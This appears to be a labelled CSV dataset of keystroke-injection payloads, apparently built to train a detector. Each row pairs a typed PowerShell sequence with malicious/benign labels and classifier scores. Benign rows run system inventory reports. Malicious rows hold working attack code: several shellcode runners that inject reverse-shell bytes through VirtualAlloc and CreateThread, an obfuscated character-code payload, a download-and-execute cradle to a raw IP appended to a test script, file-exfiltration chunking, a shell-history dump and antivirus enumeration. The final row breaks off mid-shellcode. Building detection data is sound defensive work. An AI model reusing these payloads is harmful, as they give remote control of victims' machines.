"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_av6c0i3q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4329198e-05
"powershell "". ( ([sTrinG]$VERBosEpREfEReNcE)[1,3]+'x'-jOiN'')([stRING]::jOin( '' enter ,( '12x44x143t40x75S40<47k133}104_154,154x111}155G160S157,162G164k50G42}153,145G enter 162x156x145<154_63_62_56G144S154k154t42t51<135G160,165k142G154t151S143t40<163G16 enter 4S141t164S151t143_40&145x170x164<145G162x156k40}111<156&164x120,164_162x40_126,1 enter 51&162t164_165S141&154k101_154<154,157,143G50x111S156S164t120_164t162_40_154}160 enter ,101_144&144G162x145,163k163x54G40k165_151t156_164<40&144}167&123&151k172S145G54 enter }40k165t151_156&164x40G146S154,101&154k154&157,143x141t164,151<157_156<124,171&1 enter 60<145k54G40t165}151<156k164&40t146t154_120}162<157k164G145G143_164,51,73}133x10 enter 4x154S154S111,155x160&157&162x164_50k42}153x145S162t156<145x154,63,62G56x144S154 enter G154S42<51_135_160S165t142G154x151G143S40&163,164k141&164t151t143<40S145}170G164 enter S145S162S156G40_111G156_164t120t164,162,40,103&162x145,141_164<145_124,150k162,1 enter 45t141t144_50k111<15 enter",1,1,5.680381e-05,0.99994314
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_42hp017r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_20.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3699343e-05
delay_medium enter unknown_key_action GUI SPACE enter delay_short enter terminal enter enter enter delay_short enter history > /Volumes/DUCKY/history.txt enter delay_short enter enter enter delay_short enter enter enter delay_short enter unknown_key_action GUI w enter delay_short enter enter,1,1,5.939188e-05,0.99994063
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_bv5tcngw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5100795e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install pgadmin4 enter A enter enter,0,0,0.99995947,4.0579485e-05
win+r powershell enter ctrl esc powershell enter enter invoke-webrequest -uri 'https://github.com/undedinside/ulc/ulc.cpp -outfile $env:temp enter,1,1,0.00042654132,0.9995734
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_di4featy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_25.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter",0,0,0.99996626,3.37891e-05
"win+r powershell enter  function Test-TaskCRUD { param([string]$jobId) $context = New-Object Micro enter soft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext $taskId1 = ""t enter ask1"" $taskId2 = ""task2"" try enter enter",1,1,0.009859101,0.99014086
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_oasvylqm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4503344e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x6a,0x08,0x5f,0x31,0xdb,0x89,0xf9,0x53,0xe2,0xfd,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x6a,0x03,0x53,0x53,0x68,0x5c,0x11,0x00,0x00,0xe8,0x86,0x00,0x00,0x00,0x2f,0x31,0x4c,0x79,0x66,0x00,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x7b,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x36,0x2e,0x32,0x32,0x2e,0x31,0x35,0x34,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1552415e-05,0.9999485
"win+r enter powershell enter enter enter Describe ""Test restricted language check method on scriptblocks"" -Tags ""CI"" { enter BeforeAll { enter set-strictmode -v 2 enter function list { enter enter $l = [System.Collections.Generic.List[String]]::new() enter $args | ForEach-Object {$l.Add($_)} enter , $l enter } enter } enter AfterAll { enter Set-StrictMode -Off enter } enter enter It 'Check basic expressions' { enter enter {{2+2}.CheckRestrictedLanguage($null, $null, $false) } | Should -Not -Throw enter } enter enter It 'Check default variables' { enter enter {{ $PSCulture, $PSUICulture, $true, $false, $null}.CheckRestrictedLanguage($null, $null, $false) } | Should -Not -Throw enter } enter enter It 'Check default variables' { enter { {2+$a}.CheckRestrictedLanguage($null, $null, $false) } | Should -Throw -ErrorId 'ParseException' enter } enter enter It 'Check union of default + one allowed variables' { enter enter { { 2 + $a }.CheckRestrictedLanguage($null, (list a), $false) }| Should -Not -Throw enter } enter enter It 'Check union of default + two allowed variables' { enter enter { { $a + $b }.CheckRestrictedLanguage($null, (list a b), $false) } | Should -Not -Throw enter } enter enter It 'Check union of default + allowed variables' { enter enter { { $PSCulture, $PSUICulture, $true, $false, $null, $a, $b}.CheckRestrictedLanguage($null, (list a b), $false) }| Should -Not -Throw enter } enter enter It 'Check union of default + one disallowed variables' { enter { { $a + $b + $c }.CheckRestrictedLanguage($null, (list a b), $false) } | Should -Throw -ErrorId 'ParseException' enter } enter enter It 'Check union of default + one allowed variable and but not allow environment variable' { enter { { 2 + $a + $env:foo }.CheckRestrictedLanguage($null, (list a), $false) } | Should -Throw -ErrorId 'ParseException' enter } enter enter It 'Check union of default + one allowed variable name and allow environment variable ' { enter enter {{ 2 + $a + $env:foo }.CheckRestrictedLanguage($null, (list a), $true)} | Should -Not -Throw enter } enter enter It 'Check that wildcard allows env even if the flag is set to false' { enter enter { { 2 + $a + $b + $c + $env:foo }.CheckRestrictedLanguage($null, (list *), $false)} | Should -Not -Throw enter } enter enter It 'Check for restricted commands' { enter { {get-date}.CheckRestrictedLangauge($null, $null, $false) } | Should -Throw -ErrorId 'MethodNotFound' enter } enter enter It 'Check for allowed commands and variables' { enter enter { { get-process | where name -Match $pattern | foreach $prop }.CheckRestrictedLanguage( enter (list get-process where foreach), enter (list prop pattern) enter , $false) }| Should -Not -Throw enter } enter } enter enter powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://93.175.232.53:80/a'))"" enter enter",1,1,8.045205e-05,0.99991953
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x16,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r enter powershell enter enter enter function Set-PSGalleryRepository enter { enter [CmdletBinding()] enter param( enter [Parameter()] enter [switch] enter $Trusted, enter enter [Parameter()] enter $Proxy, enter enter [Parameter()] enter $ProxyCredential enter ) enter enter $psgalleryLocation = Resolve-Location -Location $Script:PSGallerySourceUri ` enter -LocationParameterName 'SourceLocation' ` enter -Proxy $Proxy ` enter -ProxyCredential $ProxyCredential ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue enter enter $scriptSourceLocation = Resolve-Location -Location $Script:PSGalleryScriptSourceUri ` enter -LocationParameterName 'ScriptSourceLocation' ` enter -Proxy $Proxy ` enter -ProxyCredential $ProxyCredential ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue enter if($psgalleryLocation) enter { enter $result = Ping-Endpoint -Endpoint $Script:PSGalleryPublishUri -AllowAutoRedirect:$false -Proxy $Proxy -ProxyCredential $ProxyCredential enter if ($result.ContainsKey($Script:ResponseUri) -and $result[$Script:ResponseUri]) enter { enter $script:PSGalleryPublishUri = $result[$Script:ResponseUri] enter } enter enter $repository = Microsoft.PowerShell.Utility\New-Object PSCustomObject -Property ([ordered]@{ enter Name = $Script:PSGalleryModuleSource enter SourceLocation = $psgalleryLocation enter PublishLocation = $Script:PSGalleryPublishUri enter ScriptSourceLocation = $scriptSourceLocation enter ScriptPublishLocation = $Script:PSGalleryPublishUri enter Trusted=$Trusted enter Registered=$true enter InstallationPolicy = if($Trusted) {'Trusted'} else {'Untrusted'} enter PackageManagementProvider=$script:NuGetProviderName enter ProviderOptions = @{} enter }) enter enter $repository.PSTypeNames.Insert(0, ""Microsoft.PowerShell.Commands.PSRepository"") enter $script:PSGetModuleSources[$Script:PSGalleryModuleSource] = $repository enter enter Save-ModuleSources enter enter return $repository enter } enter } enter enter",0,0,0.99981457,0.00018541234
"win+r enter powershell enter enter enter  enter function Get-AzAdvisorConfigurationNoParameter enter { enter $propertiesCount = 4 enter $cmdletReturnType = ""Microsoft.Azure.Commands.Advisor.Cmdlets.Models.PsAzureAdvisorConfigurationData"" enter $TypeValue = ""Microsoft.Advisor/Configurations"" enter enter $queryResult = Get-AzAdvisorConfiguration enter enter Assert-IsInstance $queryResult $cmdletReturnType enter enter Assert-NotNull $queryResult enter for ($i = 0; $i -lt $queryResult.Count; $i++){ enter Assert-PropertiesCount $queryResult[$i] $propertiesCount enter Assert-IsInstance $queryResult[$i].id String enter Assert-AreEqual $queryResult[$i].Type $TypeValue enter } enter } enter enter",0,0,0.9994911,0.00050884887
"win+r enter powershell enter enter enter $wCL8 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $wCL8 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xdb,0xd9,0x74,0x24,0xf4,0xbe,0xad,0x80,0x32,0xad,0x58,0x31,0xc9,0xb1,0x47,0x31,0x70,0x18,0x83,0xc0,0x04,0x03,0x70,0xb9,0x62,0xc7,0x51,0x29,0xe0,0x28,0xaa,0xa9,0x85,0xa1,0x4f,0x98,0x85,0xd6,0x04,0x8a,0x35,0x9c,0x49,0x26,0xbd,0xf0,0x79,0xbd,0xb3,0xdc,0x8e,0x76,0x79,0x3b,0xa0,0x87,0xd2,0x7f,0xa3,0x0b,0x29,0xac,0x03,0x32,0xe2,0xa1,0x42,0x73,0x1f,0x4b,0x16,0x2c,0x6b,0xfe,0x87,0x59,0x21,0xc3,0x2c,0x11,0xa7,0x43,0xd0,0xe1,0xc6,0x62,0x47,0x7a,0x91,0xa4,0x69,0xaf,0xa9,0xec,0x71,0xac,0x94,0xa7,0x0a,0x06,0x62,0x36,0xdb,0x57,0x8b,0x95,0x22,0x58,0x7e,0xe7,0x63,0x5e,0x61,0x92,0x9d,0x9d,0x1c,0xa5,0x59,0xdc,0xfa,0x20,0x7a,0x46,0x88,0x93,0xa6,0x77,0x5d,0x45,0x2c,0x7b,0x2a,0x01,0x6a,0x9f,0xad,0xc6,0x00,0x9b,0x26,0xe9,0xc6,0x2a,0x7c,0xce,0xc2,0x77,0x26,0x6f,0x52,0xdd,0x89,0x90,0x84,0xbe,0x76,0x35,0xce,0x52,0x62,0x44,0x8d,0x3a,0x47,0x65,0x2e,0xba,0xcf,0xfe,0x5d,0x88,0x50,0x55,0xca,0xa0,0x19,0x73,0x0d,0xc7,0x33,0xc3,0x81,0x36,0xbc,0x34,0x8b,0xfc,0xe8,0x64,0xa3,0xd5,0x90,0xee,0x33,0xda,0x44,0x9a,0x36,0x4c,0x30,0x86,0x44,0x7a,0xd6,0x3a,0xb7,0x86,0x5f,0xb2,0x51,0xd6,0xcf,0x94,0xcd,0x96,0xbf,0x54,0xbe,0x7e,0xaa,0x5a,0xe1,0x9e,0xd5,0xb0,0x8a,0x34,0x3a,0x6d,0xe2,0xa0,0xa3,0x34,0x78,0x51,0x2b,0xe3,0x04,0x51,0xa7,0x00,0xf8,0x1f,0x40,0x6c,0xea,0xf7,0xa0,0x3b,0x50,0x51,0xbe,0x91,0xff,0x5d,0x2a,0x1e,0x56,0x0a,0xc2,0x1c,0x8f,0x7c,0x4d,0xde,0xfa,0xf7,0x44,0x4a,0x45,0x6f,0xa9,0x9a,0x45,0x6f,0xff,0xf0,0x45,0x07,0xa7,0xa0,0x15,0x32,0xa8,0x7c,0x0a,0xef,0x3d,0x7f,0x7b,0x5c,0x95,0x17,0x81,0xbb,0xd1,0xb7,0x7a,0xee,0xe3,0x84,0xac,0xd6,0x91,0xe4,0x6c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Os8=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Os8.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Os8,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2161606e-05,0.9999478
"win+r powershell enter Describe ""Remove-PSFNull Unit Tests"" -Tag ""CI"", ""Pipeline"", ""Unit"" { It ""Sho enter uld have the designed for parameters & sets"" { (Get-Command Remove-PSFNull).Par enter ameterSets.Name | Should -Be '__AllParameterSets' foreach ($key in (Get-Command enter Remove-PSFNull).Parameters.Keys) { $key | Should -BeIn 'InputObject', 'AllowE enter mptyStrings', 'AllowEmptyCollections', 'Enumerate', 'Verbose', 'Debug', 'ErrorAc enter tion', 'WarningAction', 'InformationAction', 'ErrorVariable', 'WarningVariable', enter 'InformationVariable', 'OutVariable', 'OutBuffer', 'PipelineVariable' } } enter It ""Should allow only non-null values through"" { 1, 2, 3, $null, 4 | Remove-PSF enter Null | Should -Be 1, 2, 3, 4 enter enter",1,1,0.005315091,0.99468493
"win+r powershell enter $resourceGroup = ""myResourceGroup"" $location = ""westeurope"" $vmName = ""myVM"" Ne enter w-AzResourceGroup -Name $resourceGroup -Location $location $cred = Get-Credenti enter al -Message ""Enter a username and password for the virtual machine."" New-AzVM ` enter -ResourceGroupName $resourceGroup ` -Name $vmName ` -Location $location ` enter enter",1,1,0.005825138,0.9941749
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_g97ikiz4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3834138e-05
"win+r powershell enter Invoke-PostExfil { function split($inFile, $outPrefix, [Int32] $bufSize){ enter $stream = [System.IO.File]::OpenRead($inFile) $chunkNum = 1 $barr = New-Object enter byte[] $bufSize while( $bytesRead = $stream.Read($barr,0,$bufsize)){ $outFil enter e = ""$outPrefix$chunkNum"" $ostream = [System.IO.File]::OpenWrite($outFile) enter",1,1,0.000290074,0.9997099
"win+r powershell enter function confere { $pratamar = Invoke-RestMethod (http://ipinfo.io/json) | Selec enter t -exp country If ($pratamar -eq 'BR') { } ElseIf ($pratamar -eq 'CL') { } ElseI enter f ($pratamar -eq 'AR') { } ElseIf ($pratamar -eq 'MX') { } ElseIf ($pratamar -eq enter 'CO') { } ElseIf ($pratamar -eq 'EC') { } ElseIf ($pratamar -eq 'PE') { } ElseI enter f ($pratamar -eq 'ES') { } Else { exit } } function getAntivirusName { $wmiQuery enter = ""SELECT * FROM AntiVirusProduct"" $antivirus = Get-WmiObject -Namespace ""root\ enter SecurityCenter2"" -Query $wmiQuery @psboundparameters -ErrorVariable myError -Err enter orAction 'SilentlyContinue' if($antivirus){ return $antivirus.displayName }else{ enter $alternateAntivirusQuery=WMIC /Node:localhost /Namespace:\ enter oot\SecurityCenter2 enter Path AntiVirusProduct GET displayName /Format:List|?{$_.trim() -ne """"}|%{$_ -re enter place ""displayName="",""""} if ($alternateAntivirusQuery){ return $alternateAntivir enter usQuery }else{ write enter enter",1,1,0.00059299567,0.99940705
"win+r enter powershell enter enter enter function Add-SPOList enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$listTitle, enter enter [Parameter(Mandatory=$false, Position=1)] enter [Microsoft.SharePoint.Client.ListTemplateType]$templateType = ""genericList"" enter ) enter enter $web = $clientContext.Web enter $lists = $web.Lists enter $clientContext.Load($lists) enter $clientContext.ExecuteQuery() enter enter $listTitles = $lists | select -ExpandProperty Title enter enter if(!($listTitles -contains $listTitle)) enter { enter $listCreationInfo = new-object Microsoft.SharePoint.Client.ListCreationInformation enter $listCreationInfo.TemplateType = $templateType enter $listCreationInfo.Title = $listTitle enter $listCreationInfo.QuickLaunchOption = [Microsoft.SharePoint.Client.QuickLaunchOptions]::on enter enter $list = $web.Lists.Add($listCreationInfo) enter enter $clientContext.ExecuteQuery() enter enter Write-Host ""List '$listTitle' is created succesfully"" -foregroundcolor black -backgroundcolor green enter } enter else enter { enter Write-Host ""List '$listTitle' already exists"" -foregroundcolor black -backgroundcolor yellow enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x25,0x30,0x4d,0xe1,0x68,0x02,0x00,0xd4,0xea,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe